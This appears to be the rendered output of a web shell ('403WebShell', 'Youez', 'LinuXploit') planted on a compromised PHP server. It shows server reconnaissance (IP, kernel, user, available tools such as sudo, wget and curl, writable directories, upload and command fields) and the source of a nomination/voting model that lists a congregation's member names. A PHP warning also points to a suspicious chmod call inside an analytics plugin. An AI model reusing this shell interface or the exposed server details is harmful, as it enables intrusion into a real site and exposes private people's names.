Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_vote/modules/vote/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_vote/modules/vote/model/nominate_model.php
<?php

class Nominate_Model extends Database_Model {
    
    private $mode;

    public function NominationResults() {
        $x = <<<'BLOCK'
[{"title":"Recording Brother","nominee":[{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Dineen, Rich","hash":"033672d1"}]},{"title":"Assistant Recording Brother","nominee":[{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Davis, Stephen","hash":"42cd6318"}]},{"title":"Treasurer Brother","nominee":[{"name":"Rundle, John","hash":"8cb47b6c"}]},{"title":"Auditor","nominee":[{"name":"Rundle, Kristen","hash":"ad498627"}]},{"title":"Arranging Brothers","nominee":[{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Scott, Wayne","hash":"2fe5ba63"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Egles, Bob","hash":"4231fc00"},{"name":"Soucy, Nate","hash":"583a6aeb"},{"name":"Lloyd, Bryan","hash":"baf986c2"},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"Examining Brothers","nominee":[{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Egles, Bob","hash":"4231fc00"}]},{"title":"Doorkeeping Brother","nominee":[{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Rundle, William","hash":65587103}]},{"title":"Assistant Doorkeeping Brothers","nominee":[{"name":"Hampton, Scott","hash":"ad61bdca"},{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Rundle, William","hash":65587103},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Maher, Joel","hash":"cc4f3304"},{"name":"Hampton, Chris","hash":"b87688c4"}]},{"title":"Assistance Brothers","nominee":[{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Clark, Chris","hash":"a6c7887e"},{"name":"Scott, Wayne","hash":"2fe5ba63"},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Link, Ben","hash":"357f6354"},{"name":"Egles, Bob","hash":"4231fc00"}]},{"title":"S\/School Super","nominee":[{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Soucy, Nate","hash":"583a6aeb"}]},{"title":"Assistant S\/School Super","nominee":[{"name":"Clark, Bonnie","hash":"a6f20c92"}]},{"title":"Visiting Brothers","nominee":[{"name":"Scott, Wayne","hash":"2fe5ba63"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Egles, Bob","hash":"4231fc00"},{"name":"Clark, Chris","hash":"a6c7887e"},{"name":"Link, Ben","hash":"357f6354"}]},{"title":"Visiting Sisters","nominee":[{"name":"Davis, Sandra","hash":"ca448a71"},{"name":"Zawadzki, Dottie","hash":"3c18f17a"},{"name":"Scott, Cindy","hash":"6fe440b3"},{"name":"Sgroi, Cathy","hash":"1287ba6e"},{"name":"Clark, Bonnie","hash":"a6f20c92"},{"name":"Rundle, Tammy","hash":"2fa64810"},{"name":"Dineen, Jen","hash":"dc85d922"},{"name":"Hampton, Sharon","hash":"efd50bff"}]},{"title":"Fraternal Gathering Del","nominee":[{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Dineen, Jen","hash":"dc85d922"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Rich","hash":"033672d1"}]},{"title":"Bulletin Board","nominee":[{"name":"Young, Eve","hash":"aff20e81"},{"name":"Hampton, Lynda","hash":"4b22c105"}]},{"title":"Printing\/Advertising","nominee":[{"name":"Hampton, Scott","hash":"ad61bdca"},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"Librarian","nominee":[{"name":"Young, Eve","hash":"aff20e81"},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"Assistant Librarian","nominee":[{"name":"Young, Eve","hash":"aff20e81"},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"Organist","nominee":[{"name":"Link, Ben","hash":"357f6354"}]},{"title":"Assistant Organists","nominee":[{"name":"Northern Choir","hash":"a993f032"},{"name":"Link, Ben","hash":"357f6354"}]},{"title":"Charge of Table","nominee":[{"name":"Dineen, Jen","hash":"dc85d922"},{"name":"Hampton, Elizabeth","hash":"592f1439"},{"name":"Mailing, Deb","hash":"066031e0"}]},{"title":"Assistant Charge of Table","nominee":[{"name":"Hampton, Elizabeth","hash":"592f1439"},{"name":"Melanson, Jeanne","hash":74373028},{"name":"Mailing, Deb","hash":"066031e0"},{"name":"Dineen, Jen","hash":"dc85d922"},{"name":"Asende, Justine","hash":"964cdced"},{"name":"Dineen, Lee","hash":"d092a780"}]},{"title":"Presiding Brothers","nominee":[{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Link, Ben","hash":"357f6354"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Maher, Joel","hash":"cc4f3304"},{"name":"Soucy, Nate","hash":"583a6aeb"},{"name":"Lloyd, Bryan","hash":"baf986c2"},{"name":"Egles, Bob","hash":"4231fc00"}]},{"title":"Reading Brothers","nominee":[{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Egles, Bob","hash":"4231fc00"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Rundle, William","hash":65587103},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Clark, Chris","hash":"a6c7887e"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Scott, Wayne","hash":"2fe5ba63"},{"name":"Soucy, Nate","hash":"583a6aeb"},{"name":"Zawadzki, Paul","hash":"82d473dc"},{"name":"Hampton, Chris","hash":"b87688c4"},{"name":"Lloyd, Bryan","hash":"baf986c2"},{"name":"Maher, Joel","hash":"cc4f3304"},{"name":"Young, Phil","hash":"45a9ff7f"},{"name":"Hampton, Scott","hash":"ad61bdca"},{"name":"Schlageter, Gary","hash":"539faa03"},{"name":"Mela, Asende","hash":"b47f0749"},{"name":"Lloyd, Gabriel","hash":"0d48dec2"},{"name":"Hampton, Gordon","hash":"f1c813dd"},{"name":"Salamone, Greg","hash":"58afaf6b"},{"name":"Santos, Marco","hash":"8a1e6f99"},{"name":"Lee, Richard","hash":"a5afd26c"}]},{"title":"20min Exhorting Brothers","nominee":[{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Egles, Bob","hash":"4231fc00"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Soucy, Nate","hash":"583a6aeb"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Hampton, Mark","hash":"8ceefc85"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Sullivan, Joshua","hash":"0680b98d"},{"name":"Link, Ben","hash":"357f6354"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Hampton, Chris","hash":"b87688c4"},{"name":"Schlageter, Gary","hash":"539faa03"},{"name":"Lloyd, Bryan","hash":"baf986c2"},{"name":"Maher, Joel","hash":"cc4f3304"},{"name":"Hampton, Scott","hash":"ad61bdca"},{"name":"Lloyd, Gabriel","hash":"0d48dec2"},{"name":"Rundle, William","hash":65587103},{"name":"Young, Phil","hash":"45a9ff7f"}]},{"title":"10min Exhorting Brothers","nominee":[{"name":"Mela, Asende","hash":"b47f0749"}]},{"title":"Lecturing Brothers","nominee":[{"name":"Dineen, Rich","hash":"033672d1"},{"name":"Sullivan, James","hash":"56bcbab3"},{"name":"Davis, Stephen","hash":"42cd6318"},{"name":"Dineen, Jason","hash":"97b71631"},{"name":"Melanson, Paul","hash":"cd276189"},{"name":"Rundle, John","hash":"8cb47b6c"},{"name":"Link, Ben","hash":"357f6354"}]}]
BLOCK;
        return json_decode($x, TRUE);
    }

    public function Mode() {
        if (func_num_args()) {
            $this->mode = func_get_arg(0);
            return $this;
        }
        return $this->mode;        // 'v' = vote form, 'n' = nomination form
    }

	public function SetModelMember($value) {
		$this->member_model = $value;
	}
	
	private function _IsMember($roletype, $membership) {
		for($i = 0; $i < strlen($roletype); $i++) {
			$ch = $roletype[$i];
			if (in_array($ch, $membership)) {
				return ['ok' => 1];
			}
		}
		return [];
	}
	
	function GetCurrentNominations($vfi, $role) {
		$data = $this->Query('select vf_name from vote_tail')
					->Where('vf_id=%s', $vfi)
					->Where('vf_role=%d', $role)
					->Get();
		$this->DbErr();
		$output = [];
		foreach($data as $data_item) {
			$nominee = $data_item->vf_name;
			$output[$nominee] = 1;
		}
		return $output;
	}
	
	function GetCategoryCount($vfi_id, $job_id) {
		$output = $this->GetCurrentNominations($vfi_id, $job_id);
		return count($output);
	}
	
    private function _getMemberInfo($members, $name) {
        foreach($members as $group => $memberlist) {
            if (isset($memberlist[$name])) {
                return $memberlist[$name];
            }
        }
        return NULL;
    }
    
    private function assembleCandidateList(&$output, $members, $current, $candidatesForRole) {
        // sort candidates alphabetically (ignoring counts)
        usort($candidatesForRole, function($a, $b) {
            return strcasecmp($a['name'], $b['name']);
        });

        foreach($candidatesForRole as $item) {
            $member_info = $this->_getMemberInfo($members, $item['name']);
			$nominee = $member_info['hash'];
			$sel = isset($current[$nominee]) ? 1 : 0;
			$output[] = ['name' => $member_info['name'], 'id' => $nominee, 'sel' => $sel];
        }
    }
    
    function getCandidatesForRole($candidates, $definition) {
        foreach($candidates as $entry) {
            if ($entry['title'] == $definition['h']) {
                return $entry['nominee'];
            }
        }
        return NULL;
    }
	
	private function _removeFromOutput(&$output, $name) {

		foreach($output as $index => $person) {
			if ($person['name'] == $name) {
				array_splice($output, $index, 1);
				return;
			}
		}
	}
	
	private function _removeExcluded(&$output, $roledata) {
		if ($_SERVER['REMOTE_ADDR'] == '118.208.24.212') {
			$exclusions = $roledata['x'] ?? [];
			foreach($exclusions as $name) {
				$this->_removeFromOutput($output, $name);
			}
		}
	}
	
	public function GetNamesList(&$result, $vfi, $role, $members) {
        if ($this->mode == 'v') {
            $candidates = $this->NominationResults();
        } else {
            $candidates = NULL;
        }
		$roles = $this->member_model->Vacancies();
		$output = [];
		if (isset($roles[$role])) {
			$current = $this->GetCurrentNominations($vfi, $role);
			$definition = $roles[$role];
            if ($this->mode == 'v') {
                $candidatesForRole = $this->getCandidatesForRole($candidates, $definition);
                $this->assembleCandidateList($output, $members, $current, $candidatesForRole);
            } else {
                foreach($members['m'] as $member_info) {
                    $this->AddToForm2($output, $definition, $member_info, $current);
                }
                foreach($members['f'] as $member_info) {
                    $this->AddToForm2($output, $definition, $member_info, $current);
                }
				usort($output, function($a, $b) {
					return strcasecmp($a['name'], $b['name']);
				});
				// remove excluded names
				$this->_removeExcluded($output, $roles[$role]);
            }
			$result['role'] = $definition['h'];
		} elseif ($role == -1) {
			$result['role'] = 'Introduction';
        }
		$result['member'] = $output;
		$result['nav']['prev'] = $role > 0 ? 1 : 0;
        if ($result['nav']['prev']) $result['nav']['prev_id'] = $this->getDeltaId($roles, $role, -1);
		$c = count($roles) - 1;
		$result['nav']['next'] = $role < $c ? 1 : 0;
        if ($result['nav']['next']) $result['nav']['next_id'] = $this->getDeltaId($roles, $role, 1);
	}
    
    private function getDeltaId($roles, $role, $dir) {
        do {
            $role += $dir;
            $definition = $roles[$role];
            $visible = isset($definition['visible']) ? $definition['visible'] : TRUE;
            if ($visible) return $role;
        } while(1);
    }
	
	private function AddToForm2(&$output, $definition, $member_info, $current) {
		$membership = $member_info['m'];
		if ($this->_IsMember($definition['t'], $membership)) {
			$nominee = $member_info['hash'];
			$sel = isset($current[$nominee]) ? 1 : 0;
			$output[] = ['name' => $member_info['name'], 'id' => $nominee, 'sel' => $sel];
		}
	}
	
	public function SetNomination($vfi_id, $job_id, $nominee, $newstate, &$status) {
		$ok = TRUE;
		$data = $this->Query('select * from vote_tail')
					->Where('vf_id=%s', $vfi_id)
					->Where('vf_role=%d', $job_id)
					->Where('vf_name=%s', $nominee)
					->Limit(1)
					->First();
		$this->DbErr();
		$status = !$data->empty();
		if ($newstate && empty($data->vf_id)) {			// add new record
			$this->TableName('vote_tail')
				->InsertOrUpdate([
					'vf_id' => $vfi_id,
					'vf_role' => $job_id,
					'vf_name' => $nominee,
				], [
				]);
			$this->DbErr();
			$status = 1;
		} elseif (!$newstate && !empty($data->vf_id)) {	// delete old record
		
			$this->Query('delete from vote_tail')
						->Where('vf_id=%s', $vfi_id)
						->Where('vf_role=%d', $job_id)
						->Where('vf_name=%s', $nominee)
						->Get();
			$this->DbErr();
			$status = 0;
		}
		return $ok;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit